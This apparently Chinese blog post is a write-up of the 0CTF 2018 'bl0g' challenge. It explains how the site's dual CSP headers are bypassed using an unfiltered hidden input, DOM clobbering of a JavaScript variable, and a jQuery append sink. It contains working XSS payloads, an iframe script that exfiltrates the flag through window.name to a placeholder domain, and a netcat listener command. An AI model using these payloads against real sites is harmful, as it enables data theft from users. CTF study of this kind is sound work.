Fork me on GitHub

复现0ctf blog

参考文献:https://lorexxar.cn/2018/04/05/0ctf2018-blog/
https://45.76.198.31/post/0CTF%202018%20Quals%20Bl0g%20writeup
CSP:https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src
利用window.name+iframe跨域获取数:http://www.cnblogs.com/zichi/p/4620656.html

站内的功能:

  • New 写文章并提交
  • article/xx 查看文章/评论
  • submit 提交url (start with http://202.120.7.197:8090)
  • flag flag{ONLY_4dmin_can_r3ad_7h!s}

在响应头中可以看到CSP

1
2
Content-Security-Policy:script-src 'self' 'unsafe-inline'
Content-Security-Policy:default-src 'none'; script-src 'nonce-+AqBwcppQYhunm0hOq5iEIBH+LI=' 'strict-dynamic'; style-src 'self'; img-src 'self' data:; media-src 'self'; font-src 'self' data:; connect-src 'self'; base-uri 'none'

其中

  • script-src 'self' 'unsafe-inline':允许使用内联资源,如内联<script>元素, javascript: URL,内联事件处理程序和内联<style>元素
  • script-src 'nonce-+AqBwcppQYhunm0hOq5iEIBH+LI=' 'strict-dynamic''strict-dynamic '源表达式指定显式给予标记中存在的脚本的信任,通过附加一个随机数或散列,应该传播给由该脚本加载的所有脚本。 同时,任何白名单或源表达式,例如'self''unsafe-inline'都将被忽略。strict-dynamic对因为nonce-{random}匹配或者hash匹配(例如 sha256-{sha256sum}、sha512-{sha512sum}等)而加载的 js 代码赋予一定程度的信任,允许他们操作 DOM 来加载其他的 js>。 例如,像script-src 'strict-dynamic' 'nonce-R4nd0m' https://1.com/将允许加载一个具有<script nonce="R4nd0m" src="https://2.com/a.js"> ,并将该信任传播给由a.js加载的任何脚本,但不允许从https://1.com/加载脚本,除非伴随着一个随机数或从可信脚本加载。

  • base-uri 'none'代表不能通过修改根域来实现攻击;

  • default-src 'none'定义针对所有类型(js、image、css、web font,ajax请求,iframe,多媒体等)资源的默认加载策略,某类型资源如果没有单独定义策略,就使用默认的。这其中包含了iframe-src,这代表攻击方式一定在站内实现
    *script-src的双限制代表我们只能通过<script>{eval_code}</script>的方式来实现攻击。

两个CSP分开写,是同时生效并且单独生效的,也就是与的关系。
换个说法就是,假设我们通过动态生成script标签的方式,成功绕过了第二个CSP,但我们引入了<script src="your.website">,就会被第一条CSP拦截。

new中有一个字段是effect,是设置特效的
effect字段会插入到页面中的<input type="hidden" id="effect" value="{effect_value}">,但这里实际上是没有任何过滤的,也就是说我们可以通过闭合这个标签并插入我们想要的标签,需要注意的是,这个点只能插入70个字符。
config.js里定义了 effects 变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var effects = {
'nest': [
'<script src="/assets/js/effects/canvas-nest.min.js"></script>'
],
'3waves': [
'<script src="/assets/js/effects/three.min.js"></script>',
'<script src="/assets/js/effects/three-waves.min.js"></script>'
],
'lines': [
'<script src="/assets/js/effects/three.min.js"></script>',
'<script src="/assets/js/effects/canvas-lines.min.js"></script>'
],
'sphere': [
'<script src="/assets/js/effects/three.min.js"></script>',
'<script src="/assets/js/effects/canvas-sphere.min.js"></script>'
],
}

article.js是取页面中 name=”effect” 元素的值作为 effects 的下标,通过 jQuery 的 append() 追加的页面中

1
2
3
$(document).ready(function(){
$("body").append((effects[$("#effect").val()]));
});

effects 是可以被我们劫持的:

1
2
3
4
5
<script a="
<script nonce="testtt">...
浏览器有一定的容错能力,他会补足不完整的标签
=====>
<script a="<script" nonce="test">...

覆盖effects[$("#effect").val()],这里我们选择id属性(这里其实是为了id会使用两次,可以更省位数),尝试传入

1
id"><form name=effects id="<script>alert(1)</script>"><script>


通过jquery get获取flag内容,通过箭头函数将返回赋值给window.name,紧接着,我们需要想办法获取这里的window.name(window.name不跟随域变化而变化,通过window.name我们可以缓存原本的数据。)

1
id"><form name=effects id="<script>$.get('/flag',e=>name=e)"><script>


通过iframe 读取 window.name里的内容:

1
2
3
4
5
<iframe src="http://202.120.7.197:8090/article/3855"></iframe>
<script>
setTimeout(()=>{frames[0].window.location.href='/'},1200)//当前页面打开URL页面
setTimeout(()=>{location.href='http://your_domain/?'+frames[0].window.name},1500)//当前页面打开URL页面
</script>

最后nc连接查看:nc -lp 8989

-------------本文结束感谢您的阅读-------------